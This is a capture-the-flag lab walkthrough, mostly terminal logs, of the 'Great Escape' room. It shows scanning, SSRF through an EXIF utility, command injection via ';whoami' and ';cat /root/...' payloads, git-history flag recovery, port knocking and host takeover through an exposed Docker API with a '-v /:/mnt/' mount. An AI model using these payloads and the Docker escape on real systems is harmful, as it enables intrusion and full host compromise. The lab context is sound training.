The Great Escape

Last updated 1 year ago

┌──(witty㉿kali)-[~/Downloads] └─$ rustscan -a 10.10.141.57 --ulimit 5500 -b 65535 -- -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 🌍HACK THE PLANET🌍 [~] The config file is expected to be at "/home/witty/.rustscan.toml" [~] Automatically increasing ulimit value to 5500. [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers Open 10.10.141.57:22 Open 10.10.141.57:80 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-07 13:40 EDT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:40 Completed NSE at 13:40, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:40 Completed NSE at 13:40, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:40 Completed NSE at 13:40, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 13:40 Completed Parallel DNS resolution of 1 host. at 13:40, 0.02s elapsed DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 13:40 Scanning 10.10.141.57 [2 ports] Discovered open port 80/tcp on 10.10.141.57 Discovered open port 22/tcp on 10.10.141.57 Completed Connect Scan at 13:40, 0.20s elapsed (2 total ports) Initiating Service scan at 13:40 Scanning 2 services on 10.10.141.57 Completed Service scan at 13:43, 162.02s elapsed (2 services on 1 host) NSE: Script scanning 10.10.141.57. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:43 Completed NSE at 13:43, 26.01s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:43 Completed NSE at 13:43, 2.98s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:43 Completed NSE at 13:43, 0.00s elapsed Nmap scan report for 10.10.141.57 Host is up, received user-set (0.20s latency). Scanned at 2023-04-07 13:40:17 EDT for 192s PORT STATE SERVICE REASON VERSION 22/tcp open ssh? syn-ack |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 80/tcp open http syn-ack nginx 1.19.6 |_http-title: docker-escape-nuxt | http-methods: |_ Supported Methods: GET HEAD |_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E | http-robots.txt: 3 disallowed entries |_/api/ /exif-util /*.bak.txt$ |_http-server-header: nginx/1.19.6 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.93%I=7%D=4/7%Time=6430558D%P=x86_64-pc-linux-gnu%r(Gener SF:icLines,4,"IR\r\n"); NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:43 Completed NSE at 13:43, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:43 Completed NSE at 13:43, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:43 Completed NSE at 13:43, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 192.99 seconds ┌──(witty㉿kali)-[/tmp] └─$ feroxbuster -u http://10.10.141.57/api/ -w /usr/share/wordlists/dirb/common.txt -k -t 64 -x php -s 200 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.141.57/api/ 🚀 Threads │ 64 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ [200] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── [####################] - 30s 9228/9228 0s found:0 errors:0 http://10.10.141.57/.well-known/security.txt Hey you found me! The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues. See https://securitytxt.org/ for more information. Ping /api/fl46 with a HEAD request for a nifty treat. ┌──(witty㉿kali)-[/tmp] └─$ curl -I http://10.10.141.57/api/fl46 HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Fri, 07 Apr 2023 18:18:01 GMT Connection: keep-alive flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4} The "curl -I" command is used to send a HEAD request to a web server and retrieve only the headers of the HTTP response, without the body. This can be useful for checking the response headers, such as the status code, content type, and caching information, without downloading the entire response. HEAD /api/fl46 HTTP/1.1 HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Fri, 07 Apr 2023 18:20:54 GMT Connection: close flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}

http://10.10.141.57/exif-util/ uploading an img EXIF: ---------------------- [JPEG] Compression Type - Baseline [JPEG] Data Precision - 8 bits [JPEG] Image Height - 533 pixels [JPEG] Image Width - 800 pixels [JPEG] Number of Components - 3 [JPEG] Component 1 - Y component: Quantization table 0, Sampling factors 2 horiz/2 vert [JPEG] Component 2 - Cb component: Quantization table 1, Sampling factors 1 horiz/1 vert [JPEG] Component 3 - Cr component: Quantization table 1, Sampling factors 1 horiz/1 vert [JFIF] Version - 1.1 [JFIF] Resolution Units - none [JFIF] X Resolution - 1 dot [JFIF] Y Resolution - 1 dot [JFIF] Thumbnail Width Pixels - 0 [JFIF] Thumbnail Height Pixels - 0 [ICC Profile] Profile Size - 524 [ICC Profile] CMM Type - lcms [ICC Profile] Version - 2.1.0 [ICC Profile] Class - Display Device [ICC Profile] Color space - RGB [ICC Profile] Profile Connection Space - XYZ [ICC Profile] Profile Date/Time - 2012:01:25 03:41:57 [ICC Profile] Signature - acsp [ICC Profile] Primary Platform - Apple Computer, Inc. [ICC Profile] XYZ values - 0.964 1 0.825 [ICC Profile] Tag Count - 10 [ICC Profile] Profile Description - c2 [ICC Profile] Profile Copyright - FB [ICC Profile] Media White Point - (0.9642, 1, 0.8249) [ICC Profile] Media Black Point - (0.0121, 0.0125, 0.0103) [ICC Profile] Red Colorant - (0.4361, 0.2225, 0.0139) [ICC Profile] Green Colorant - (0.3851, 0.7169, 0.0971) [ICC Profile] Blue Colorant - (0.1431, 0.0606, 0.7141) [ICC Profile] Red TRC - 0.0, 0.0030976, 0.0069734, 0.0132296, 0.0217594, 0.0328832, 0.0467231, 0.0634623, 0.0832685, 0.1062638, 0.1325856, 0.162356, 0.1956817, 0.2327001, 0.273518, 0.3182269, 0.3669032, 0.4196841, 0.4766461, 0.5378653, 0.6034638, 0.6734874, 0.7480125, 0.8272068, 0.9109026, 1.0 [ICC Profile] Green TRC - 0.0, 0.0030976, 0.0069734, 0.0132296, 0.0217594, 0.0328832, 0.0467231, 0.0634623, 0.0832685, 0.1062638, 0.1325856, 0.162356, 0.1956817, 0.2327001, 0.273518, 0.3182269, 0.3669032, 0.4196841, 0.4766461, 0.5378653, 0.6034638, 0.6734874, 0.7480125, 0.8272068, 0.9109026, 1.0 [ICC Profile] Blue TRC - 0.0, 0.0030976, 0.0069734, 0.0132296, 0.0217594, 0.0328832, 0.0467231, 0.0634623, 0.0832685, 0.1062638, 0.1325856, 0.162356, 0.1956817, 0.2327001, 0.273518, 0.3182269, 0.3669032, 0.4196841, 0.4766461, 0.5378653, 0.6034638, 0.6734874, 0.7480125, 0.8272068, 0.9109026, 1.0 [Huffman] Number of Tables - 4 Huffman tables [File Type] Detected File Type Name - JPEG [File Type] Detected File Type Long Name - Joint Photographic Experts Group [File Type] Detected MIME Type - image/jpeg [File Type] Expected File Name Extension - jpg [File] File Name - pfx4603328967788719562sfx [File] File Size - 42663 bytes [File] File Modified Date - Fri Apr 07 18:28:02 +00:00 2023 XMP: ---------------------- using url ┌──(witty㉿kali)-[~/Downloads] └─$ file filekoth filekoth: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1350x900, components 3 ┌──(witty㉿kali)-[~/Downloads] └─$ python3 -m http.server 1234 Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ... 10.10.141.57 - - [07/Apr/2023 14:31:13] "GET /filekoth HTTP/1.1" 200 - http://10.8.19.103:1234/filekoth EXIF: ---------------------- [JPEG] Compression Type - Baseline [JPEG] Data Precision - 8 bits [JPEG] Image Height - 900 pixels [JPEG] Image Width - 1350 pixels [JPEG] Number of Components - 3 [JPEG] Component 1 - Y component: Quantization table 0, Sampling factors 2 horiz/2 vert [JPEG] Component 2 - Cb component: Quantization table 1, Sampling factors 1 horiz/1 vert [JPEG] Component 3 - Cr component: Quantization table 1, Sampling factors 1 horiz/1 vert [JFIF] Version - 1.1 [JFIF] Resolution Units - inch [JFIF] X Resolution - 72 dots [JFIF] Y Resolution - 72 dots [JFIF] Thumbnail Width Pixels - 0 [JFIF] Thumbnail Height Pixels - 0 [Huffman] Number of Tables - 4 Huffman tables [File Type] Detected File Type Name - JPEG [File Type] Detected File Type Long Name - Joint Photographic Experts Group [File Type] Detected MIME Type - image/jpeg [File Type] Expected File Name Extension - jpg XMP: ---------------------- GET /api/exif?url=http:%2F%2F10.8.19.103:1234%2Ffilekoth HTTP/1.1 SSRF HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Fri, 07 Apr 2023 18:31:15 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 925 Connection: close EXIF: ---------------------- [JPEG] Compression Type - Baseline [JPEG] Data Precision - 8 bits [JPEG] Image Height - 900 pixels [JPEG] Image Width - 1350 pixels [JPEG] Number of Components - 3 [JPEG] Component 1 - Y component: Quantization table 0, Sampling factors 2 horiz/2 vert [JPEG] Component 2 - Cb component: Quantization table 1, Sampling factors 1 horiz/1 vert [JPEG] Component 3 - Cr component: Quantization table 1, Sampling factors 1 horiz/1 vert [JFIF] Version - 1.1 [JFIF] Resolution Units - inch [JFIF] X Resolution - 72 dots [JFIF] Y Resolution - 72 dots [JFIF] Thumbnail Width Pixels - 0 [JFIF] Thumbnail Height Pixels - 0 [Huffman] Number of Tables - 4 Huffman tables [File Type] Detected File Type Name - JPEG [File Type] Detected File Type Long Name - Joint Photographic Experts Group [File Type] Detected MIME Type - image/jpeg [File Type] Expected File Name Extension - jpg XMP: ---------------------- send to repeater GET /api/exif?url=http://127.0.0.1:8080 HTTP/1.1 HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Fri, 07 Apr 2023 18:39:24 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 342 Connection: close An error occurred: File format could not be determined Retrieved Content ---------------------------------------- <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Nothing to see here</title> </head> <body> <p>Nothing to see here, move along...</p> </body> </html> trying with port 22,80 and 8080 creating a wordlist to get /*.bak.txt$ ┌──(witty㉿kali)-[~/Downloads] └─$ cewl http://10.10.85.253 -d 5 -o CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/) docker escape nuxt Loading uhmm manually ┌──(witty㉿kali)-[/tmp] └─$ nano wordlist-man ┌──(witty㉿kali)-[/tmp] └─$ cat wordlist-man login users user photo image sign-up signup Signup SignUp test courses username user admin photos images exif-util classroom class course photos ┌──(witty㉿kali)-[/tmp] └─$ wfuzz -u http://10.10.85.253/FUZZ.bak.txt -w /tmp/wordlist-man --hc 404,503 --hh 3834 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.10.85.253/FUZZ.bak.txt Total requests: 21 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000017: 200 64 L 125 W 1479 Ch "exif-util" Total time: 9.437551 Processed Requests: 21 Filtered Requests: 20 Requests/sec.: 2.225153 http://10.10.85.253/exif-util.bak.txt <template> <section> <div class="container"> <h1 class="title">Exif Utils</h1> <section> <form @submit.prevent="submitUrl" name="submitUrl"> <b-field grouped label="Enter a URL to an image"> <b-input placeholder="http://..." expanded v-model="url" ></b-input> <b-button native-type="submit" type="is-dark"> Submit </b-button> </b-field> </form> </section> <section v-if="hasResponse"> <pre> {{ response }} </pre> </section> </div> </section> </template> <script> export default { name: 'Exif Util', auth: false, data() { return { hasResponse: false, response: '', url: '', } }, methods: { async submitUrl() { this.hasResponse = false console.log('Submitted URL') try { const response = await this.$axios.$get('http://api-dev-backup:8080/exif', { params: { url: this.url, }, }) this.hasResponse = true this.response = response } catch (err) { console.log(err) this.$buefy.notification.open({ duration: 4000, message: 'Something bad happened, please verify that the URL is valid', type: 'is-danger', position: 'is-top', hasIcon: true, }) } }, }, } </script> GET /api/exif?url=http://api-dev-backup:8080/exif HTTP/1.1 Server: nginx/1.19.6 Date: Fri, 07 Apr 2023 20:04:19 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 3287 Connection: close An error occurred: HTTP Exception 500 Internal Server Error Response was: --------------------------------------- <-- 500 http://api-dev-backup:8080/exif Response : Internal Server Error GET /api/exif?url=http://api-dev-backup:8080/exif?url=;whoami HTTP/1.1 HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Fri, 07 Apr 2023 20:06:26 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 414 Connection: close An error occurred: File format could not be determined Retrieved Content ---------------------------------------- An error occurred: File format could not be determined Retrieved Content ---------------------------------------- curl: no URL specified! curl: try 'curl --help' or 'curl --manual' for more information root GET /api/exif?url=http://api-dev-backup:8080/exif?url=;id HTTP/1.1 uid=0(root) gid=0(root) groups=0(root) cannot get a revshell doing manually GET /api/exif?url=http://api-dev-backup:8080/exif?url=;ls+-lah+/root HTTP/1.1 total 28K drwx------ 1 root root 4.0K Jan 7 2021 . drwxr-xr-x 1 root root 4.0K Jan 7 2021 .. lrwxrwxrwx 1 root root 9 Jan 6 2021 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 1 root root 4.0K Jan 7 2021 .git -rw-r--r-- 1 root root 53 Jan 6 2021 .gitconfig -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-rw-r-- 1 root root 201 Jan 7 2021 dev-note.txt GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cat+/root/dev-note.txt HTTP/1.1 Hey guys, Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff. Anyways, the password is fluffybunnies123 Cheers, Hydra ┌──(witty㉿kali)-[~/Downloads] └─$ ssh hydra@10.10.85.253 -v OpenSSH_9.2p1 Debian-2, OpenSSL 3.0.8 7 Feb 2023 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf matched no files debug1: /etc/ssh/ssh_config line 21: Applying options for * debug1: Connecting to 10.10.85.253 [10.10.85.253] port 22. debug1: Connection established. debug1: identity file /home/witty/.ssh/id_rsa type 0 debug1: identity file /home/witty/.ssh/id_rsa-cert type -1 debug1: identity file /home/witty/.ssh/id_ecdsa type -1 debug1: identity file /home/witty/.ssh/id_ecdsa-cert type -1 debug1: identity file /home/witty/.ssh/id_ecdsa_sk type -1 debug1: identity file /home/witty/.ssh/id_ecdsa_sk-cert type -1 debug1: identity file /home/witty/.ssh/id_ed25519 type -1 debug1: identity file /home/witty/.ssh/id_ed25519-cert type -1 debug1: identity file /home/witty/.ssh/id_ed25519_sk type -1 debug1: identity file /home/witty/.ssh/id_ed25519_sk-cert type -1 debug1: identity file /home/witty/.ssh/id_xmss type -1 debug1: identity file /home/witty/.ssh/id_xmss-cert type -1 debug1: identity file /home/witty/.ssh/id_dsa type -1 debug1: identity file /home/witty/.ssh/id_dsa-cert type -1 debug1: Local version string SSH-2.0-OpenSSH_9.2p1 Debian-2 debug1: kex_exchange_identification: banner line 0: heQiE7 ]:{F debug1: kex_exchange_identification: banner line 1: { uhmm https://github.com/skeeto/endlessh ┌──(witty㉿kali)-[~/Downloads] └─$ curl -v http://10.10.85.253/api/login -d '{"username"\:"hydra","password"\:"fluffybunnies123"}' * Trying 10.10.85.253:80... * Connected to 10.10.85.253 (10.10.85.253) port 80 (#0) > POST /api/login HTTP/1.1 > Host: 10.10.85.253 > User-Agent: curl/7.87.0 > Accept: */* > Content-Length: 52 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 415 Unsupported Media Type < Server: nginx/1.19.6 < Date: Fri, 07 Apr 2023 20:18:26 GMT < Content-Length: 0 < Connection: keep-alive < * Connection #0 to host 10.10.85.253 left intact ┌──(witty㉿kali)-[~/Downloads] └─$ curl -v http://10.10.85.253/api/login -d '{"username"\:"hydra","password"\:"fluffybunnies123"}' -H "Content-Type: application/json" * Trying 10.10.85.253:80... * Connected to 10.10.85.253 (10.10.85.253) port 80 (#0) > POST /api/login HTTP/1.1 > Host: 10.10.85.253 > User-Agent: curl/7.87.0 > Accept: */* > Content-Type: application/json > Content-Length: 52 > * Mark bundle as not supporting multiuse < HTTP/1.1 401 Unauthorized < Server: nginx/1.19.6 < Date: Fri, 07 Apr 2023 20:18:57 GMT < Content-Type: application/json < Content-Length: 72 < Connection: keep-alive < { "status": "ERROR", "message": "Invalid Username or Password" * Connection #0 to host 10.10.85.253 left intact } GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+log HTTP/1.1 commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a Author: Hydra <hydragyrum@example.com> Date: Thu Jan 7 16:48:58 2021 +0000 fixed the dev note commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539 Author: Hydra <hydragyrum@example.com> Date: Wed Jan 6 20:51:39 2021 +0000 Removed the flag and original dev note b/c Security commit a3d30a7d0510dc6565ff9316e3fb84434916dee8 Author: Hydra <hydragyrum@example.com> Date: Wed Jan 6 20:51:39 2021 +0000 Added the flag and dev notes GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+checkout+5242825dfd6b96819f65d17a1c31a99fea4ffb6a HTTP/1.1 Note: checking out '5242825dfd6b96819f65d17a1c31a99fea4ffb6a'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by performing another checkout. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -b with the checkout command again. Example: git checkout -b <new-branch-name> HEAD is now at 5242825 fixed the dev note GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+checkout+4530ff7f56b215fa9fe76c4d7cc1319960c4e539 HTTP/1.1 Previous HEAD position was 5242825 fixed the dev note HEAD is now at 4530ff7 Removed the flag and original dev note b/c Security GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+checkout+a3d30a7d0510dc6565ff9316e3fb84434916dee8 HTTP/1.1 Previous HEAD position was 4530ff7 Removed the flag and original dev note b/c Security HEAD is now at a3d30a7 Added the flag and dev notes GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cat+/root/flag.txt HTTP/1.1 THM{0cb4b947043cb5c0486a454b75a10876} GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cat+/root/dev-note.txt HTTP/1.1 Hey guys, I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin. Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port. Cheers, Hydra

┌──(witty㉿kali)-[~/Downloads] └─$ cat knock_port.sh #! /bin/bash curl http://10.10.85.253:42 -m 1 sleep 1 curl http://10.10.85.253:1337 -m 1 sleep 1 curl http://10.10.85.253:10420 -m 1 sleep 1 curl http://10.10.85.253:6969 -m 1 sleep 1 curl http://10.10.85.253:63000 -m 1 ┌──(witty㉿kali)-[~/Downloads] └─$ man curl | grep '\--max-time' See also -m, --max-time. See also -m, --max-time and --connect-timeout. Added in 7.59.0. See also --no-keepalive and -m, --max-time. -m, --max-time <fractional seconds> If -m, --max-time is provided several times, the last set value will be used. curl --max-time 10 https://example.com curl --max-time 2.92 https://example.com single request's maximum time, use -m, --max-time. Set this option to zero to See also -y, --speed-time, --limit-rate and -m, --max-time. ┌──(witty㉿kali)-[~/Downloads] └─$ bash knock_port.sh curl: (7) Failed to connect to 10.10.85.253 port 42 after 197 ms: Couldn't connect to server curl: (7) Failed to connect to 10.10.85.253 port 1337 after 197 ms: Couldn't connect to server curl: (7) Failed to connect to 10.10.85.253 port 10420 after 203 ms: Couldn't connect to server curl: (7) Failed to connect to 10.10.85.253 port 6969 after 200 ms: Couldn't connect to server curl: (7) Failed to connect to 10.10.85.253 port 63000 after 219 ms: Couldn't connect to server ┌──(witty㉿kali)-[~/Downloads] └─$ rustscan -a 10.10.85.253 --ulimit 5500 -b 65535 -- -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 🌍HACK THE PLANET🌍 [~] The config file is expected to be at "/home/witty/.rustscan.toml" [~] Automatically increasing ulimit value to 5500. [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers Open 10.10.85.253:22 Open 10.10.85.253:80 Open 10.10.85.253:2375 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-07 16:34 EDT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 16:34 Completed NSE at 16:34, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 16:34 Completed NSE at 16:34, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 16:34 Completed NSE at 16:34, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 16:34 Completed Parallel DNS resolution of 1 host. at 16:34, 0.01s elapsed DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 16:34 Scanning 10.10.85.253 [3 ports] Discovered open port 80/tcp on 10.10.85.253 Discovered open port 22/tcp on 10.10.85.253 Discovered open port 2375/tcp on 10.10.85.253 Completed Connect Scan at 16:34, 0.20s elapsed (3 total ports) Initiating Service scan at 16:34 Scanning 3 services on 10.10.85.253 Completed Service scan at 16:37, 162.04s elapsed (3 services on 1 host) NSE: Script scanning 10.10.85.253. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 16:37 Completed NSE at 16:37, 26.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 16:37 Completed NSE at 16:37, 3.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 16:37 Completed NSE at 16:37, 0.00s elapsed Nmap scan report for 10.10.85.253 Host is up, received user-set (0.19s latency). Scanned at 2023-04-07 16:34:27 EDT for 192s PORT STATE SERVICE REASON VERSION 22/tcp open ssh? syn-ack |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) | fingerprint-strings: | GenericLines: |_ M|[nPeZ'A 80/tcp open http syn-ack nginx 1.19.6 |_http-title: docker-escape-nuxt |_http-server-header: nginx/1.19.6 |_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E | http-robots.txt: 3 disallowed entries |_/api/ /exif-util /*.bak.txt$ | http-methods: |_ Supported Methods: GET HEAD 2375/tcp open docker syn-ack Docker 20.10.2 (API 1.41) | docker-version: | KernelVersion: 4.15.0-130-generic | ApiVersion: 1.41 | Version: 20.10.2 | MinAPIVersion: 1.12 | Platform: | Name: Docker Engine - Community | Os: linux | Arch: amd64 | Components: | | Details: | KernelVersion: 4.15.0-130-generic | Experimental: false | MinAPIVersion: 1.12 | GitCommit: 8891c58 | GoVersion: go1.13.15 | Arch: amd64 | Os: linux | BuildTime: 2020-12-28T16:15:09.000000000+00:00 | ApiVersion: 1.41 | Name: Engine | Version: 20.10.2 | | Details: | GitCommit: 269548fa27e0089a8b8278fc4fc781d7f65a939b | Name: containerd | Version: 1.4.3 | | Details: | GitCommit: ff819c7e9184c13b7c2607fe6c30ae19403a7aff | Name: runc | Version: 1.0.0-rc92 | | Details: | GitCommit: de40ad0 | Name: docker-init | Version: 0.19.0 | GoVersion: go1.13.15 | BuildTime: 2020-12-28T16:15:09.000000000+00:00 |_ GitCommit: 8891c58 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.93%I=7%D=4/7%Time=64307E5F%P=x86_64-pc-linux-gnu%r(Gener SF:icLines,B,"M\|\[nPeZ'A\r\n"); Service Info: OS: linux NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 16:37 Completed NSE at 16:37, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 16:37 Completed NSE at 16:37, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 16:37 Completed NSE at 16:37, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 196.91 seconds ┌──(witty㉿kali)-[~/Downloads] └─$ docker -H 10.10.85.253:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 49fe455a9681 frontend "/docker-entrypoint.…" 2 years ago Up 2 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1 4b51f5742aad exif-api-dev "./application -Dqua…" 2 years ago Up 2 hours dockerescapecompose_api-dev-backup_1 cb83912607b9 exif-api "./application -Dqua…" 2 years ago Up 2 hours 8080/tcp dockerescapecompose_api_1 548b701caa56 endlessh "/endlessh -v" 2 years ago Up 2 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1 ┌──(witty㉿kali)-[~/Downloads] └─$ docker -H 10.10.85.253:2375 images REPOSITORY TAG IMAGE ID CREATED SIZE exif-api-dev latest 4084cb55e1c7 2 years ago 214MB exif-api latest 923c5821b907 2 years ago 163MB frontend latest 577f9da1362e 2 years ago 138MB endlessh latest 7bde5182dc5e 2 years ago 5.67MB nginx latest ae2feff98a0c 2 years ago 133MB debian 10-slim 4a9cd57610d6 2 years ago 69.2MB registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 2 years ago 103MB alpine 3.9 78a2ce922f86 2 years ago 5.55MB ┌──(witty㉿kali)-[~/Downloads] └─$ docker -H 10.10.85.253:2375 exec -it cb83912607b9 /bin/bash bash-4.4$ whoami quarkus bash-4.4$ id uid=1000(quarkus) gid=1000(quarkus) groups=1000(quarkus) bash-4.4$ ls application ┌──(witty㉿kali)-[~/Downloads] └─$ docker -H 10.10.85.253:2375 exec -it 49fe455a9681 /bin/bash root@docker-escape:/# id uid=0(root) gid=0(root) groups=0(root) root@docker-escape:/# ls bin dev docker-entrypoint.sh home lib64 mnt proc run srv tmp var boot docker-entrypoint.d etc lib media opt root sbin sys usr root@docker-escape:/# cd root root@docker-escape:~# ls root@docker-escape:~# ls -lah total 16K drwx------ 2 root root 4.0K Dec 9 2020 . drwxr-xr-x 1 root root 4.0K Jan 7 2021 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile root@docker-escape:~# cd .. root@docker-escape:/# ls bin dev docker-entrypoint.sh home lib64 mnt proc run srv tmp var boot docker-entrypoint.d etc lib media opt root sbin sys usr root@docker-escape:/# cd mnt root@docker-escape:/mnt# ls root@docker-escape:/mnt# exit exit ┌──(witty㉿kali)-[~/Downloads] └─$ docker -H 10.10.85.253:2375 exec -it 49fe455a9681 /bin/bash root@docker-escape:/# find / -type f -name flag.txt 2>/dev/null root@docker-escape:/# ^C root@docker-escape:/# exit ┌──(witty㉿kali)-[~/Downloads] └─$ docker -H 10.10.85.253:2375 run -it -v /:/mnt/ 78a2ce922f86 /bin/sh / # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / # ls -lah / total 64 drwxr-xr-x 1 root root 4.0K Apr 7 20:54 . drwxr-xr-x 1 root root 4.0K Apr 7 20:54 .. -rwxr-xr-x 1 root root 0 Apr 7 20:54 .dockerenv drwxr-xr-x 2 root root 4.0K Apr 23 2020 bin drwxr-xr-x 5 root root 360 Apr 7 20:54 dev drwxr-xr-x 1 root root 4.0K Apr 7 20:54 etc drwxr-xr-x 2 root root 4.0K Apr 23 2020 home 